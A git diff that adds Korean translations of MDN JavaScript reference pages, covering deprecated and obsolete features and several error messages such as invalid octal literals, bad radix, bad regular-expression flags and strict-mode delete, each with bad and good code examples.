+   <td>The substring following the most recent match.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The following are now properties of <code>RegExp</code> instances, no longer of the <code>RegExp</code> object:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Property</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.global", "global")}}</td>
+   <td>Whether or not to test the regular expression against all possible matches in a string, or only against the first.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.ignoreCase", "ignoreCase")}}</td>
+   <td>Whether or not to ignore case while attempting a match in a string.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastIndex", "lastIndex")}}</td>
+   <td>The index at which to start the next match.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.multiline", "multiline")}}</td>
+   <td>Whether or not to search in strings across multiple lines.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.source", "source")}}</td>
+   <td>패턴의 텍스트.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RegExp_메서드">RegExp 메서드</h3>
+
+<ul>
+ <li>{{jsxref("RegExp.compile", "compile()")}} 메서드는 제외될 예정입니다.</li>
+ <li><code>valueOf</code> 메서드는 더 이상 <code>RegExp</code> 전용이 아닙니다. {{jsxref("Object.valueOf()")}}를 사용하세요.</li>
+</ul>
+
+<h3 id="Function_속성">Function 속성</h3>
+
+<ul>
+ <li>The {{jsxref("Global_Objects/Function/caller", "caller")}} and {{jsxref("Global_Objects/Function/arguments", "arguments")}} properties are deprecated, because they leak the function caller. Instead of the arguments property, you should use the {{jsxref("Functions/arguments", "arguments")}} object inside function closures.</li>
+</ul>
+
+<h3 id="Legacy_generator">Legacy generator</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "Legacy generator function statement")}} and {{jsxref("Operators/Legacy_generator_function", "Legacy generator function expression")}} are deprecated. Use {{jsxref("Statements/function*", "function* statement")}} and {{jsxref("Operators/function*", "function* expression")}} instead.</li>
+ <li>{{jsxref("Operators/Array_comprehensions", "JS1.7/JS1.8 Array comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} and {{jsxref("Operators/Generator_comprehensions", "JS1.7/JS1.8 Generator comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} are deprecated.</li>
+</ul>
+
+<h3 id="Iterator">Iterator</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/StopIteration", "StopIteration")}} is deprecated.</li>
+ <li>{{jsxref("Global_Objects/Iterator", "Iterator")}} is deprecated.</li>
+</ul>
+
+<h3 id="Object_methods">Object methods</h3>
+
+<ul>
+ <li>{{jsxref("Object.watch", "watch")}} and {{jsxref("Object.unwatch", "unwatch")}} are deprecated. Use {{jsxref("Proxy")}} instead.</li>
+ <li><code>__iterator__</code> is deprecated.</li>
+ <li>{{jsxref("Object.noSuchMethod", "__noSuchMethod__")}} is deprecated. Use {{jsxref("Proxy")}} instead.</li>
+</ul>
+
+<h3 id="Date_methods">Date methods</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Date/getYear", "getYear")}} and {{jsxref("Global_Objects/Date/setYear", "setYear")}} are affected by the Year-2000-Problem and have been subsumed by {{jsxref("Global_Objects/Date/getFullYear", "getFullYear")}} and {{jsxref("Global_Objects/Date/setFullYear", "setFullYear")}}.</li>
+ <li>You should use {{jsxref("Global_Objects/Date/toISOString", "toISOString")}} instead of the deprecated {{jsxref("Global_Objects/Date/toGMTString", "toGMTString")}} method in new code.</li>
+ <li>{{jsxref("Global_Objects/Date/toLocaleFormat", "toLocaleFormat")}} is deprecated.</li>
+</ul>
+
+<h3 id="Functions">Functions</h3>
+
+<ul>
+ <li>{{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}} are deprecated. Use regular {{jsxref("Operators/function", "functions")}} or {{jsxref("Functions/Arrow_functions", "arrow functions", "", 1)}} instead.</li>
+</ul>
+
+<h3 id="Proxy">Proxy</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.create</a> and <a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.createFunction</a> are deprecated. Use {{jsxref("Proxy")}} instead.</li>
+ <li>The following traps are obsolete:
+  <ul>
+   <li><code>hasOwn</code> ({{bug(980565)}}, Firefox 33).</li>
+   <li><code>getEnumerablePropertyKeys</code> ({{bug(783829)}}, Firefox 37)</li>
+   <li><code>getOwnPropertyNames</code> ({{bug(1007334)}}, Firefox 33)</li>
+   <li><code>keys</code> ({{bug(1007334)}}, Firefox 33)</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Escape_sequences">Escape sequences</h3>
+
+<ul>
+ <li>Octal escape sequences (\ followed by one, two, or three octal digits) are deprecated in string and regular expression literals.</li>
+ <li>The {{jsxref("Global_Objects/escape", "escape")}} and {{jsxref("Global_Objects/unescape", "unescape")}} functions are deprecated. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}}, {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}, {{jsxref("Global_Objects/decodeURI", "decodeURI")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} to encode and decode escape sequences for special characters.</li>
+</ul>
+
+<h3 id="String_methods">String methods</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/tag/HTML%20wrapper%20methods">HTML wrapper methods</a> like {{jsxref("String.prototype.fontsize")}} and {{jsxref("String.prototype.big")}}.</li>
+ <li>{{jsxref("String.prototype.quote")}} is removed from Firefox 37.</li>
+ <li>non standard <code>flags</code> parameter in {{jsxref("String.prototype.search")}}, {{jsxref("String.prototype.match")}}, and {{jsxref("String.prototype.replace")}} are deprecated.</li>
+</ul>
+
+<h2 id="Obsolete_features">Obsolete features</h2>
+
+<p>These obsolete features have been entirely removed from JavaScript and can no longer be used as of the indicated version of JavaScript.</p>
+
+<h3 id="Object">Object</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Property</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Object/count", "__count__")}}</td>
+   <td>Returns the number of enumerable properties directly on a user-defined object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Object/Parent", "__parent__")}}</td>
+   <td>Points to an object's context.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}</td>
+   <td>Evaluates a string of JavaScript code in the context of the specified object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.observe()")}}</td>
+   <td>Asynchronously observing the changes to an object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.unobserve()")}}</td>
+   <td>Remove observers.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getNotifier()")}}</td>
+   <td>Creates an object that allows to synthetically trigger a change.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Function">Function</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Property</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Function/arity", "arity")}}</td>
+   <td>Number of formal arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Array">Array</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Property</td>
+   <td>Description</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.observe()")}}</td>
+   <td>Asynchronously observing changes to Arrays.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.unobserve()")}}</td>
+   <td>Remove observers.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Number">Number</h3>
+
+<ul>
+ <li>{{jsxref("Number.toInteger()")}}</li>
+</ul>
+
+<h3 id="ParallelArray">ParallelArray</h3>
+
+<ul>
+ <li>{{jsxref("ParallelArray")}}</li>
+</ul>
+
+<h3 id="Statements">Statements</h3>
+
+<ul>
+ <li>{{jsxref("Statements/for_each...in", "for each...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
+ <li>Destructuring {{jsxref("Statements/for...in", "for...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
+ <li>let blocks and let expressions are obsolete.</li>
+</ul>
+
+<h3 id="E4X">E4X</h3>
+
+<p>See <a href="/en-US/docs/Archive/Web/E4X">E4X</a> for more information.</p>
+
+<h3 id="Sharp_variables">Sharp variables</h3>
+
+<p>See <a href="/en-US/docs/Archive/Web/Sharp_variables_in_JavaScript">Sharp variables in JavaScript</a> for more information.</p>
diff --git a/files/ko/web/javascript/reference/errors/bad_octal/index.html b/files/ko/web/javascript/reference/errors/bad_octal/index.html
new file mode 100644
index 0000000000..8a4590e668
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/bad_octal/index.html
@@ -0,0 +1,45 @@
+---
+title: 'SyntaxError: "x" is not a legal ECMA-262 octal constant'
+slug: Web/JavaScript/Reference/Errors/Bad_octal
+translation_of: Web/JavaScript/Reference/Errors/Bad_octal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">Warning: SyntaxError: 08 is not a legal ECMA-262 octal constant.
+Warning: SyntaxError: 09 is not a legal ECMA-262 octal constant.
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("SyntaxError")}}<code>. </code>엄격 모드(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>)에서만 경고 됨.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>10진법의 리터럴은 <code>0</code>을 가장 앞 자리에 표시하고 뒤따라 다른 10진 숫자가 오게 할 수 있지만, <code>0</code>으로 시작하여 그 뒤를 따르는 모든 숫자들이 8보다 작다면, 그 수는 8진수로 해석됩니다. 이런 경우에는 <code>08<font face="Open Sans, Arial, sans-serif">과</font> 09<font face="Open Sans, Arial, sans-serif">는 허용되지 않기 때문에</font><font face="Open Sans, Arial, sans-serif"> </font></code>JavaScript는 경고를 띄웁니다. </p>
+
+<p>8진 리터럴과 8진 escape sequence는 사라지고 추가적인 경고가 나타날 것임을 알아 두세요. ECMAScript 6와 그 이후 버전의 구문은, 맨 앞자리에 위치하는 <code>0</code>의 뒤에 소문자 또는 대문자의 라틴 문자 "O" 를 위치시키도록 합니다 (<code>0o</code> or <code>0O)</code>. 더 자세한 설명은 <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">lexical grammar</a> 페이지를 보세요.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="유효하지_않은_8진수">유효하지 않은 8진수</h3>
+
+<pre class="brush: js example-bad">08;
+09;
+// SyntaxError: 08 is not a legal ECMA-262 octal constant
+// SyntaxError: octal literals and octal escape sequences are deprecated</pre>
+
+<h3 id="유효한_8진수">유효한 8진수</h3>
+
+<p>선두로 사용된 <code>0</code>의 뒤에는 문자 "o"가 오도록 한다. </p>
+
+<pre class="brush: js example-good">0O755;
+0o644;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">Lexical grammar</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/bad_radix/index.html b/files/ko/web/javascript/reference/errors/bad_radix/index.html
new file mode 100644
index 0000000000..3ea98bf1eb
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/bad_radix/index.html
@@ -0,0 +1,57 @@
+---
+title: 'RangeError: radix must be an integer'
+slug: Web/JavaScript/Reference/Errors/Bad_radix
+translation_of: Web/JavaScript/Reference/Errors/Bad_radix
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: radix must be an integer at least 2 and no greater than 36 (Firefox)
+RangeError: toString() radix argument must be between 2 and 36 (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>{{jsxref("Number.prototype.toString()")}} 메소드는 선택적 파라메터인 <code>radix</code>(기수:진수를 지정하는 값)와 함께 사용되어 왔습니다. 이 파라메터는 반드시 수의 값을 나타내는 진법의 2와 36 사이로 지정된 정수(숫자)여야 합니다. </p>
+
+<p>왜 36으로 제한이 되었을까요? <code>radix</code>는 digit(밑기수) 알파벳 글자로 사용되는 10보다는 큽니다. 그렇기 때문에, <code>radix</code>는 라틴 알파벳 26글자를 가졌을 때, 36보다 클 수 없습니다.  </p>
+
+<p>보통 아래의 <code>radix</code> 중 하나를 사용하게 될 것입니다.</p>
+
+<ul>
+ <li>2 for <a href="https://en.wikipedia.org/wiki/Binary_number">binary numbers</a> (2진수),</li>
+ <li>8 for <a href="https://en.wikipedia.org/wiki/Octal">octal numbers</a> (8진수),</li>
+ <li>10 for <a href="https://en.wikipedia.org/wiki/Decimal">decimal numbers</a> (10진수),</li>
+ <li>16 for <a href="https://en.wikipedia.org/wiki/Hexadecimal">hexadecimal numbers</a> (16진수).</li>
+</ul>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<pre class="brush: js example-bad">(42).toString(0);
+(42).toString(1);
+(42).toString(37);
+(42).toString(150);
+//포맷팅하기 위해 string을 이런 식으로 사용할 수는 없습니다. :
+(12071989).toString("MM-dd-yyyy");
+</pre>
+
+<h3 id="허용된_경우">허용된 경우</h3>
+
+<pre class="brush: js example-good">(42).toString(2);     // "101010" (2진수)
+(13).toString(8);     // "15"     (8진수)
+(0x42).toString(10);  // "66"     (10진수)
+(100000).toString(16) // "186a0"  (16진수)
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/bad_regexp_flag/index.html b/files/ko/web/javascript/reference/errors/bad_regexp_flag/index.html
new file mode 100644
index 0000000000..2c8d12289d
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/bad_regexp_flag/index.html
@@ -0,0 +1,107 @@
+---
+title: 'SyntaxError: invalid regular expression flag "x"'
+slug: Web/JavaScript/Reference/Errors/Bad_regexp_flag
+tags:
+  - 구문 에러
+  - 자바스크립트
+  - 정규식
+  - 플래그
+translation_of: Web/JavaScript/Reference/Errors/Bad_regexp_flag
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Syntax error in regular expression (Edge)
+SyntaxError: invalid regular expression flag "x" (Firefox)
+SyntaxError: Invalid regular expression flags (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>코드에 잘못된 정규 표현식 플래그가 있습니다. 슬래시로 묶인 패턴으로 구성되어 있는 정규 표현식 문자에서 플래그는 두 번째 플래그 뒤에 정의됩니다. 플래그는 또한 {{jsxref("RegExp")}} 객체의 생성자 함수에서도 정의될 수 있습니다(두 번째 매개변수). 정규 표현식 플래그는 따로 또는 순서에 상관 없이 같이 사용될 수 있지만 ECMAScript에는 오직 5개만 있습니다.</p>
+
+<p>정규 표현식에 플래그를 포함시키려면 아래의 문법을 사용하세요:</p>
+
+<pre class="brush: js">var re = /pattern/flags;
+</pre>
+
+<p>또는</p>
+
+<pre class="brush: js">var re = new RegExp('pattern', 'flags');</pre>
+
+<table class="standard-table">
+ <caption>정규 표현식 플래그</caption>
+ <thead>
+  <tr>
+   <th scope="col">플래그</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>전역 검색.</td>
+  </tr>
+  <tr>
+   <td>i</td>
+   <td>대소문자 구별 없이 검색.</td>
+  </tr>
+  <tr>
+   <td>m</td>
+   <td>여러 줄(Multi-line) 검색.</td>
+  </tr>
+  <tr>
+   <td>u</td>
+   <td>유니코드; 패턴을 유니코드 코드 포인트의 나열로 취급.</td>
+  </tr>
+  <tr>
+   <td>y</td>
+   <td>현재 위치에서 검색. ("sticky" 검색). {{jsxref("RegExp.sticky", "sticky")}} 참조.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<p>5개의 플래그만이 유효합니다.</p>
+
+<pre class="brush: js example-bad">/foo/bar;
+
+// SyntaxError: invalid regular expression flag "b"
+</pre>
+
+<p>정규 표현식을 만들려고 했나요? 두 개의 슬래시가 포함된 표현식은 정규 표현식 문자로 해석됩니다.</p>
+
+<pre class="brush: js example-bad">let obj = {
+  url: /docs/Web
+};
+
+// SyntaxError: invalid regular expression flag "W"
+</pre>
+
+<p>아니면 문자열로 만들려고 했나요? 작은 따옴표 또는 큰 따옴표를 추가하여 문자열을 만듭니다.</p>
+
+<pre class="brush: js example-good">let obj = {
+  url: '/docs/Web'
+};</pre>
+
+<h3 id="유효한_정규_표현식_플래그">유효한 정규 표현식 플래그</h3>
+
+<p>자바스크립트에서 허용하는 5개의 유효한 정규 표현식 플래그를 위의 표에서 확인하세요.</p>
+
+<pre class="brush: js example-good">/foo/g;
+/foo/gim;
+/foo/uy;
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/%EC%A0%95%EA%B7%9C%EC%8B%9D">정규 표현식</a></li>
+ <li><a href="http://xregexp.com/flags/">XRegEx flags</a> – 새로운 4개의 플래그(<code>n</code>, <code>s</code>, <code>x</code>, <code>A</code>)를 제공하는 정규 표현식 라이브러리</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/ko/web/javascript/reference/errors/bad_return_or_yield/index.html
new file mode 100644
index 0000000000..1239fa27f4
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/bad_return_or_yield/index.html
@@ -0,0 +1,51 @@
+---
+title: 'SyntaxError: return not in function'
+slug: Web/JavaScript/Reference/Errors/Bad_return_or_yield
+translation_of: Web/JavaScript/Reference/Errors/Bad_return_or_yield
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: return not in function
+SyntaxError: yield not in function
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="뭐가_잘못된_걸까요">뭐가 잘못된 걸까요?</h2>
+
+<p><code><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/return">return</a></code> 또는 <code><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> 문장이 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98">function</a> 밖에서 호출되었기 때문입니다. 혹시 어딘가에 중괄호를 빠트리신 건 아닌가요? <code>return</code> 과 <code>yield</code> function 내에 있어야 합니다, 왜냐하면 이것들은 function의 실행 종료 (또는 일시정지 및 재개)를 의미하고 function 호출자에게 특정 값을 반환하기 위해 사용되기 때문입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js example-bad">var cheer = function(score) {
+  if (score === 147)
+    return 'Maximum!';
+  };
+  if (score &gt; 100) {
+    return 'Century!';
+  }
+}
+
+// SyntaxError: return not in function</pre>
+
+<p>처음 볼 때는 중괄호가 제대로 있는 것처럼 보인다, 하지만 이 코드 조각에는 if 문장 다음에 중괄호가 하나 빠져 있다. 다음처럼 고쳐야 한다:</p>
+
+<pre class="brush: js example-good">var cheer = function(score) {
+  if (score === 147) {
+    return 'Maximum!';
+  }
+  if (score &gt; 100) {
+    return 'Century!';
+  }
+};</pre>
+
+<h2 id="또_다른_내용">또 다른 내용</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html b/files/ko/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
new file mode 100644
index 0000000000..593e8cca13
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
@@ -0,0 +1,56 @@
+---
+title: 'ReferenceError: can''t access lexical declaration`X'' before initialization'
+slug: Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init
+translation_of: Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">ReferenceError: can't access lexical declaration `X' before initialization (Firefox)
+ReferenceError: 'x' is not defined (Chrome)
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("ReferenceError")}}</p>
+
+<h2 id="무엇이_잘못_되었을까요">무엇이 잘못 되었을까요?</h2>
+
+<p>변수가 초기화 되기 전에 엑세스가 되어버립니다. 이 문제는 let 또는 const 선언이 정의 되기 전에 엑세스되는 모든 block 문에서 발생합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="잘못된_경우">잘못된 경우</h3>
+
+<p>이 경우에 변수 "foo"는 <code>let</code> 을 사용하여 block 문에서 다시 선언됩니다.</p>
+
+<pre class="brush: js example-bad">function test() {
+  let foo = 33;
+  if (true) {
+    let foo = (foo + 55);
+    // ReferenceError: can't access lexical
+    // declaration `foo' before initialization
+  }
+}
+test();
+</pre>
+
+<h3 id="올바른_경우">올바른 경우</h3>
+
+<p>if 문에서 "foo"를 변경하려면 재 선언을 발생시키는 <code>let</code> 을 제거해야합니다.</p>
+
+<pre class="brush: js example-good">function test(){
+   let foo = 33;
+   if (true) {
+      foo = (foo + 55);
+   }
+}
+test();
+</pre>
+
+<h2 id="그밖에_볼_것">그밖에 볼 것</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_Dead_Zone_and_errors_with_let">Temporal Dead Zone and errors with let</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/delete_in_strict_mode/index.html b/files/ko/web/javascript/reference/errors/delete_in_strict_mode/index.html
new file mode 100644
index 0000000000..138384bcac
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/delete_in_strict_mode/index.html
@@ -0,0 +1,71 @@
+---
+title: >-
+  SyntaxError: applying the 'delete' operator to an unqualified name is
+  deprecated
+slug: Web/JavaScript/Reference/Errors/Delete_in_strict_mode
+tags:
+  - 가비지 컬렉터
+  - 구문 에러
+  - 변수 삭제
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Calling delete on expression not allowed in strict mode (Edge)
+SyntaxError: applying the 'delete' operator to an unqualified name is deprecated (Firefox)
+SyntaxError: Delete of an unqualified identifier in strict mode. (Chrome)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>엄격(Strict) 모드에서의 {{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>자바스크립트에서 일반 변수는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 연산자를 사용하여 삭제할 수 없습니다. 엄격 모드에서 변수를 삭제하는 접근은 허용되지 않으므로 에러가 발생합니다.</p>
+
+<p><code>delete</code> 연산자는 오직 객체의 속성만을 삭제할 수 있습니다. 객체 속성은 설정할 수 있는 경우 "수식"될 수 있습니다.</p>
+
+<p>일반적인 생각과 다르게 <code>delete</code> 연산자는 메모리 해제와 직접적인 연관이 없습니다. 메모리 관리는 참조가 깨짐에 따라 간접적으로 수행됩니다. 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Memory_Management">메모리 관리</a> 페이지와 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 연산자 페이지를 참조하십시오.</p>
+
+<p>이 에러는 오직 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드 코드</a>에서만 발생합니다. 엄격하지 않은 모드에서 해당 연산자는 단순히 <code>false</code> 를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>자바스크립트에서 일반 변수를 삭제하려고 하면 동작하지 않습니다. 그리고 엄격 모드에서는 에러가 발생합니다:</p>
+
+<pre class="brush: js example-bad">'use strict';
+
+var x;
+
+// ...
+
+delete x;
+
+// SyntaxError: applying the 'delete' operator to an unqualified name
+// is deprecated
+</pre>
+
+<p>변수의 내용을 비우려면 {{jsxref("null")}}을 설정하면 됩니다:</p>
+
+<pre class="brush: js example-good">'use strict';
+
+var x;
+
+// ...
+
+x = null;
+
+// x는 가비지 컬렉터에 의해 메모리에서 해제됩니다
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Memory_Management">메모리 관리</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Cant_delete">TypeError: property "x" is non-configurable and can't be deleted</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html b/files/ko/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html
new file mode 100644
index 0000000000..fc613db1d0
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html
@@ -0,0 +1,70 @@
+---
+title: 'ReferenceError: deprecated caller or arguments usage'
+slug: Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">Warning: ReferenceError: deprecated caller usage (Firefox)
+Warning: ReferenceError: deprecated arguments usage (Firefox)
+TypeError: 'callee' and 'caller' cannot be accessed in strict mode. (Safari)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>엄격 모드에서만 {{jsxref("ReferenceError")}} 경고가 발생합니다. JavaScript 실행이 중단되지는 않을 것입니다.   </p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>엄격모드에서, {{jsxref("Function.caller")}} 나 {{jsxref("Function.arguments")}} 속성이 사용되었고, 그러지 말아야 했습니다. 이 속성들은 사라지게 되었는데, 함수 호출자를 흘려보내거나, 비 표준이었으며, 최적화 하기 어렵고, 잠재적으로 퍼포먼스에 무리를 주었기 때문입니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="function.caller_or_arguments.callee.caller"><code>function.caller</code> or <code>arguments.callee.caller</code></h3>
+
+<p>{{jsxref("Function.caller")}} 와 <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee.caller</a></code> 는 사라지게 되었습니다. (자세한 정보는 레퍼런스 문서를 확인해 보세요.)</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+function myFunc() {
+  if (myFunc.caller == null) {
+    return 'The function was called from the top!';
+  } else {
+    return 'This function\'s caller was ' + myFunc.caller;
+  }
+}
+
+myFunc();
+// Warning: ReferenceError: deprecated caller usage
+// "The function was called from the top!"</pre>
+
+<h3 id="Function.arguments"><code>Function.arguments</code></h3>
+
+<p>{{jsxref("Function.arguments")}} 는 사라졌습니다. (자세한 정보는 레퍼런스 문서를 확인해 주세요.) </p>
+
+<pre class="brush: js example-bad">"use strict";
+
+function f(n) { g(n - 1); }
+
+function g(n) {
+  console.log('before: ' + g.arguments[0]);
+  if (n &gt; 0) { f(n); }
+  console.log('after: ' + g.arguments[0]);
+}
+
+f(2);
+
+console.log('returned: ' + g.arguments);
+// Warning: ReferenceError: deprecated arguments usage
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated and obsolete features</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+ <li>{{jsxref("Function.arguments")}}</li>
+ <li>{{jsxref("Function.caller")}} and <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee.caller</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/deprecated_octal/index.html b/files/ko/web/javascript/reference/errors/deprecated_octal/index.html
new file mode 100644
index 0000000000..55d85cf7eb
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/deprecated_octal/index.html
@@ -0,0 +1,64 @@
+---
+title: 'SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated'
+slug: Web/JavaScript/Reference/Errors/Deprecated_octal
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_octal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: Octal numeric literals and escape characters not allowed in strict mode (Edge)
+SyntaxError:
+"0"-prefixed octal literals and octal escape sequences are deprecated;
+for octal literals use the "0o" prefix instead
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
